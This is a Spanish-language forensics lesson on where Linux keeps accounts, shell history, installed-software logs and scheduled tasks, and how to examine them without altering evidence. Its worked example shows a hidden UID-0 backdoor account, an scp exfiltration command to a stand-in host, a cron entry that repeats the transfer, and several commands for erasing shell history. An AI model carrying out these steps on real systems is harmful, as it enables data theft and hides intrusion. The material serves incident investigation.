Lo esencial de macOS y Linux · Lección 3 de 5
Linux: estructura, usuarios, historial del shell y tareas programadas
14 min de lectura
Un sistema Linux conserva casi todo lo que necesita un examinador en archivos de texto sin formato dentro de directorios conocidos: cuáles son las cuentas, cómo se llama el sistema, qué software se instaló, qué escribieron los usuarios y qué se ejecuta de forma programada. Esta lección muestra dónde se encuentran esos archivos en una imagen de un servidor de tipo Debian, cómo leerlos sin alterar la evidencia y qué demuestra cada uno. Los registros se tratan en la lección 6.4 y la persistencia en la lección 6.5.
Lectura de una imagen sin modificarla
Trabaje sobre una copia verificada, haga accesible un E01 con una herramienta como ewfmount y determine el desplazamiento de la partición con mmls (sector inicial 2.048 × 512 = desplazamiento en bytes 1.048.576). Después, monte el volumen ext4 con mount -t ext4 -o ro,noexec,nodev,noload,offset=1048576 <image> /mnt/ev.
noexec y nodev impiden que se utilicen los programas y los archivos de dispositivo presentes en la evidencia. noload es lo más importante. Si se creó la imagen del servidor mientras estaba en funcionamiento o después de un fallo, el superbloque contiene el indicador needs_recovery, y el controlador ext4 reproduce el diario al montar el volumen incluso con ro, porque ro se aplica al sistema de archivos montado, no al dispositivo. La reproducción escribe bloques de metadatos en la imagen. Si el propio dispositivo es de solo lectura, el montaje falla. noload indica a ext4 que no cargue el diario, por lo que no se escribe nada y se ven los bloques exactamente como se capturaron en la imagen. La contrapartida es que no se aplican las últimas transacciones confirmadas, de modo que la vista puede estar ligeramente desactualizada; esas transacciones permanecen en el diario (lección 1.6).
Leer un sistema ajeno con el propio conlleva dos riesgos:
ls -lmuestra los nombres de propietario de su propio/etc/passwd. Utilicels -lnpara obtener los UID numéricos y asócielos con los nombres mediante el/etc/passwdde la evidencia.- Un enlace simbólico absoluto como
/etc/localtime → /usr/share/zoneinfo/America/Sao_Paulose resuelve en su propia estación de trabajo. Lea el destino del enlace conls -loreadlinken lugar de abrir el archivo.
The Sleuth Kit evita por completo el montaje: fls -r enumera los nombres, istat muestra un inodo e icat extrae el contenido por número de inodo.
En un sistema en funcionamiento puede ejecutar getent passwd, last, crontab -l -u <user>, atq y systemctl list-timers --all, pero un equipo comprometido puede tener esos binarios reemplazados, y cada comando modifica el sistema. Capture primero la memoria (lección 5.1) y después utilice un recolector como UAC (Unix-like Artifacts Collector), un script de shell que copia archivos de artefactos y salidas de comandos en un archivo comprimido con hash. A continuación, Plaso puede generar una línea de tiempo a partir de la recopilación o de la imagen.
La estructura de directorios
El estándar de jerarquía del sistema de archivos (FHS) establece dónde se ubican los elementos en la mayoría de las distribuciones.
| Ruta | Qué busca un examinador |
|---|---|
/etc | Configuración del sistema: cuentas, identidad, red, cron, unidades de systemd |
/home/<user>, /root | Archivos de usuario, archivos con nombre iniciado por punto que contienen historiales, .ssh; /root es el directorio personal de root |
/var/log | Registros de texto, registros rotados, journald (lección 6.4) |
/var/lib | Estado de las aplicaciones: bases de datos de paquetes, /var/lib/dpkg, /var/lib/rpm, bases de datos, contenedores |
/var/spool | Colas: tareas de cron y at, correo |
/tmp, /var/tmp | Áreas de preparación con permisos de escritura para todos los usuarios |
/dev/shm | Memoria compartida, siempre un sistema de archivos en RAM (tmpfs) |
/opt, /usr/local | Software instalado fuera del gestor de paquetes, incluidas herramientas de atacantes |
/boot | Kernels (vmlinuz-<version>), initramfs y configuración de GRUB; la versión del kernel necesaria para crear una tabla de símbolos de Volatility (lección 5.2) |
Identidad del sistema
/etc/os-releaseproporcionaPRETTY_NAME,IDyVERSION_ID(en Debian suele ser un enlace simbólico a/usr/lib/os-release;/etc/debian_versionproporciona la versión de mantenimiento)./etc/hostnamecontiene el nombre del equipo;/etc/hostscontiene las asignaciones estáticas de nombres. Una línea añadida que redirige un dominio de un proveedor de seguridad o de una empresa constituye un hallazgo.- La zona horaria es el destino del enlace simbólico
/etc/localtime, por ejemplo,/usr/share/zoneinfo/America/Sao_Paulo. Los sistemas de la familia Debian también pueden tener/etc/timezone, una copia de texto de una sola línea; si no coinciden, la biblioteca de C utiliza/etc/localtime. Necesita esta zona para todos los registros en hora local y para las programaciones de cron. /etc/machine-idconsta de 32 caracteres hexadecimales en minúscula (128 bits) generados durante la instalación. Da nombre al directorio del diario/var/log/journal/<machine-id>/e identifica la instalación; las máquinas virtuales clonadas pueden compartirlo.- La configuración de red se encuentra en
/etc/network/interfaces(ifupdown de Debian),/etc/netplan/*.yaml(Ubuntu desde 17.10) o/etc/NetworkManager/system-connections/*.nmconnection(equipos de escritorio; SSID de Wi-Fi y, salvo que se guarde en un depósito de claves, la clavepsk=).
Software instalado
En Debian y Ubuntu, /var/log/dpkg.log registra cada acción con una marca de hora local, por ejemplo, 2026-03-14 08:20:51 install nmap:amd64 <none> 7.93+dfsg1-1. /var/log/apt/history.log agrupa cada ejecución de apt en un bloque con Start-Date, Commandline, Requested-By (el usuario de sudo y su UID, cuando apt se ejecutó mediante sudo) y la lista de paquetes; term.log conserva la salida del terminal. Ambos se rotan (dpkg.log.1, dpkg.log.2.gz). /var/lib/dpkg/status contiene el estado actual de los paquetes sin fechas, y la hora de modificación de /var/lib/dpkg/info/<package>.list permite aproximar la hora de instalación cuando los registros ya se han eliminado por rotación.
En los sistemas de la familia RHEL, la base de datos se encuentra en /var/lib/rpm (rpmdb.sqlite en RHEL 9 y versiones recientes de Fedora, Packages de Berkeley DB en versiones anteriores). rpm -qa --last enumera los paquetes del más reciente al más antiguo con sus horas de instalación; para una imagen, utilice rpm --dbpath <copy-of-var/lib/rpm> -qa --last. /var/log/dnf.log y dnf.rpm.log registran las transacciones (/var/log/yum.log en RHEL 7).
Usuarios, grupos y privilegios
/etc/passwd tiene siete campos separados por dos puntos: name:x:UID:GID:GECOS:home:shell. La x significa que el hash está en /etc/shadow. El kernel solo comprueba el número: cualquier cuenta con UID 0 tiene todos los privilegios de root, independientemente de su nombre. Las cuentas del sistema utilizan UID bajos (1–999 en Debian y RHEL 7 y posteriores); los usuarios normales suelen empezar en 1.000 (UID_MIN en /etc/login.defs). Un shell de /usr/sbin/nologin o /bin/false bloquea el inicio de sesión interactivo. Las cuentas nuevas se añaden al final, por lo que suelen ocupar las últimas líneas.
/etc/shadow tiene nueve campos: name:hash:lastchg:min:max:warn:inactive:expire:reserved. El prefijo del hash identifica el algoritmo: $1$ MD5, $5$ SHA-256, $6$ SHA-512 crypt, $y$ yescrypt (el predeterminado desde Debian 11 y Ubuntu 22.04). Un hash que comienza con ! está bloqueado; * o ! por sí solos significan que no se permite iniciar sesión con contraseña. lastchg es la fecha del último cambio de contraseña en días desde 1970-01-01, sin hora del día.
/etc/group tiene el formato name:x:GID:members. La pertenencia a sudo (Debian/Ubuntu) o wheel (RHEL) concede derechos administrativos mediante sudo; adm permite leer la mayor parte de /var/log. Los grupos primarios no aparecen en el campo de miembros. /etc/sudoers y los archivos de /etc/sudoers.d/ definen las reglas; una línea como backup2 ALL=(ALL) NOPASSWD: ALL merece atención. sudo ignora los archivos de ese directorio cuyos nombres contienen un punto o terminan en ~.
Historial del shell y otros artefactos del directorio personal
Bash mantiene el historial en memoria y escribe ~/.bash_history cuando finaliza el shell: añade el contenido al final si histappend está activado (el .bashrc predeterminado de Debian y Ubuntu lo activa); de lo contrario, sobrescribe el archivo y después lo recorta a HISTFILESIZE líneas. Las líneas no incluyen la hora a menos que HISTTIMEFORMAT se haya definido en ese shell; en ese caso, bash escribe una línea de comentario #<epoch> (segundos Unix, UTC) antes de cada comando, que registra cuándo se introdujo el comando, no si se ejecutó correctamente. Los shells que finalizan en distintos momentos dejan bloques fuera de orden cronológico. El .bashrc de Debian y Ubuntu también define HISTCONTROL=ignoreboth, que descarta los comandos escritos con un espacio inicial.
La ausencia de historial o un historial breve constituye por sí misma una pista. unset HISTFILE, HISTFILE=/dev/null, HISTSIZE=0, set +o history, history -c, finalizar el shell con kill -9 $$ o que ~/.bash_history sea un enlace simbólico a /dev/null son indicadores antiforenses. Los comandos de shells que seguían en ejecución en el momento de la captura pueden recuperarse de la memoria con linux.bash (lección 5.2).
Otros archivos de cada usuario:
| Archivo | Qué contiene |
|---|---|
~/.zsh_history | Con EXTENDED_HISTORY: : <epoch>:<duration>;command (hora de inicio y segundos transcurridos) |
~/.python_history, ~/.mysql_history | Comandos del intérprete y del cliente interactivos, sin horas |
~/.lesshst | Patrones de búsqueda y comandos escritos dentro de less |
~/.viminfo | Historial de la línea de comandos y de búsquedas, registros, archivos editados recientemente con sus posiciones; Vim 8 y posteriores también almacenan tiempos de época |
~/.ssh/known_hosts | Claves de host de servidores aceptadas por el cliente SSH de este usuario; los nombres pueden estar representados mediante hashes (véase más abajo) |
~/.ssh/authorized_keys | Claves públicas autorizadas para iniciar sesión como este usuario (persistencia, lección 6.5) |
~/.ssh/id_* | Claves privadas y públicas; el comentario de .pub suele indicar user@host |
~/.wget-hsts | Hosts HTTPS con los que wget se comunicó y que enviaron HSTS, con tiempo de época de creación y max-age |
~/.local/share/recently-used.xbel | Equipos de escritorio: archivos abiertos, con la aplicación y las horas UTC en formato ISO 8601 |
Con HashKnownHosts yes (la configuración predeterminada del cliente de Debian), cada entrada de known_hosts comienza con |1| seguido de una sal y un HMAC-SHA1 del nombre del host, pero puede comprobar un candidato: ssh-keygen -F 198.51.100.23 -f known_hosts.
Tareas programadas
/etc/crontaby/etc/cron.d/*utilizan seis campos más el comando: minuto, hora, día del mes, mes, día de la semana, usuario, comando./etc/cron.hourly,cron.daily,cron.weekly,cron.monthlycontienen scripts ejecutados porrun-parts(o anacron). Elrun-partsde Debian omite los nombres que contienen un punto, por lo quesync.shnunca se ejecuta allí.- Los crontabs de usuario, editados con
crontab -e, no tienen campo de usuario y se encuentran en/var/spool/cron/crontabs/<user>en Debian o en/var/spool/cron/<user>en RHEL. Elcrontabde Debian escribe un comentario de cabecera que normalmente indica cuándo se instaló el archivo, en hora local; el mtime del archivo registra el mismo momento. - Las tareas de at son scripts en
/var/spool/cron/atjobs(Debian) o/var/spool/at(RHEL), que se eliminan después de ejecutarse. El nombre del archivo codifica la letra de la cola, el número de tarea y la hora de ejecución en minutos hexadecimales desde 1970. - Los temporizadores de systemd son unidades
*.timeren/etc/systemd/system/(y las incluidas en paquetes en/usr/lib/systemd/system/), o por usuario en~/.config/systemd/user/, habilitadas mediante un enlace simbólico entimers.target.wants/. Cada uno activa por defecto el.servicedel mismo nombre.systemctl list-timers --allmuestra las próximas y las últimas ejecuciones en el sistema en funcionamiento.
Cron interpreta las programaciones en la zona horaria local del sistema.
Áreas temporales y de preparación
Los atacantes preparan archivos comprimidos y herramientas en /tmp, /var/tmp y /dev/shm, a menudo con nombres ocultos como /tmp/.x. /dev/shm solo existe en RAM, por lo que una imagen de disco nunca lo contiene; la memoria sí puede contenerlo. /tmp es un tmpfs en Debian 13 y Fedora, se vacía al arrancar en Debian 12 y Ubuntu, y en otros sistemas se limpia según la antigüedad mediante reglas de systemd-tmpfiles; /var/tmp sobrevive a los reinicios. Las entradas eliminadas pueden seguir siendo visibles, como se describe en la lección 1.6.
Ejemplo resuelto: un servidor Debian
Un servidor Debian 12 independiente; /etc/localtime apunta a /usr/share/zoneinfo/America/Sao_Paulo (UTC−3).
- La última línea de
/etc/passwdesbackup2:x:0:0:,,,:/home/backup2:/bin/bash. Debian ya tiene una cuenta legítimabackup:x:34:34:...:/usr/sbin/nologin; esta cuenta de nombre similar tiene UID 0 y un shell de inicio de sesión, por lo que es una segunda cuenta root. /etc/shadowmuestrabackup2:$y$j9T$...:20526:0:99999:7:::. lastchg 20.526 días × 86.400 = 1.773.446.400 s, quepython3 -c "import datetime as d; print(d.date(1970,1,1)+d.timedelta(days=20526))"confirma como 2026-03-14. La contraseña se estableció ese día UTC; no se registra ninguna hora./root/.bash_historycontiene#1773486600seguido descp /srv/data/clients.sql user@198.51.100.23:/tmp/. 1.773.486.600 − 1.773.446.400 = 40.200 s = 11 h 10 min, por lo que corresponde a 2026-03-14T11:10:00Z (08:10 local). Esto demuestra que el comando se introdujo en un shell de root; para determinar si la copia se realizó correctamente se necesita la evidencia de SSH y de red de la lección 6.4./var/spool/cron/crontabs/rootcontiene15 2 * scp /srv/data/clients.sql user@198.51.100.23:/tmp/ >/dev/null 2>&1. Repite la transferencia diariamente a las 02:15 hora local, que son las 05:15Z, y descarta la salida. Compare la hora de instalación de la cabecera y el mtime del archivo con el historial.
En conjunto: una cuenta root oculta configurada el 14 de marzo, una exfiltración manual esa mañana y una repetición programada.
Pregunta → archivo
| Pregunta | Archivo |
|---|---|
| ¿Qué distribución y versión? | /etc/os-release, /etc/debian_version |
| ¿Nombre del equipo y zona horaria? | /etc/hostname; destino de /etc/localtime |
| ¿Qué se instaló, cuándo y por quién? | /var/log/dpkg.log*, /var/log/apt/history.log*; rpm -qa --last, /var/log/dnf.log |
| ¿Quién tiene privilegios equivalentes a root? | /etc/passwd (UID 0) |
| ¿Cuándo se estableció una contraseña? | Campo 3 de /etc/shadow |
| ¿Quién puede utilizar sudo? | /etc/group, /etc/sudoers, /etc/sudoers.d/ |
| ¿Qué escribió un usuario? | ~/.bash_history, ~/.zsh_history, memoria |
| ¿A qué servidores se conectó un usuario mediante SSH? | ~/.ssh/known_hosts |
| ¿Qué se ejecuta de forma programada? | /etc/crontab, /etc/cron.d/, /var/spool/cron/, unidades *.timer |
Enfoque del examen: Prepárese para convertir una línea de historial#<epoch>o una línea de zsh: <epoch>:a UTC en formato ISO 8601, convertir un valor lastchg de shadow en una fecha e identificar una cuenta con UID 0 que no sea root. La parte A puede preguntar por qué se necesitanoload, dónde almacenan Debian y RHEL los crontabs de usuario y por qué es significativa la ausencia de un archivo de historial o que esté vacío.
Puntos clave
- Monte la evidencia ext4 con
ro,noexec,nodev,noload;ropor sí solo aún puede reproducir en la imagen un diario pendiente de recuperación. - Cualquier cuenta con UID 0 es root; lastchg de shadow representa días desde 1970 sin hora del día;
$y$es yescrypt,$6$es SHA-512 crypt. - Bash escribe el historial al finalizar y solo almacena líneas
#<epoch>cuando HISTTIMEFORMAT estaba definido; la ausencia de historial es una pista de actividad antiforense. known_hostsmuestra las conexiones SSH salientes;authorized_keysmuestra quién puede iniciar sesión.- Revise todos los mecanismos de programación:
/etc/crontab,/etc/cron.d, los directorioscron.*, los crontabs de usuario, las tareas de at y los temporizadores de systemd, e interprete las programaciones en la zona horaria local del sistema.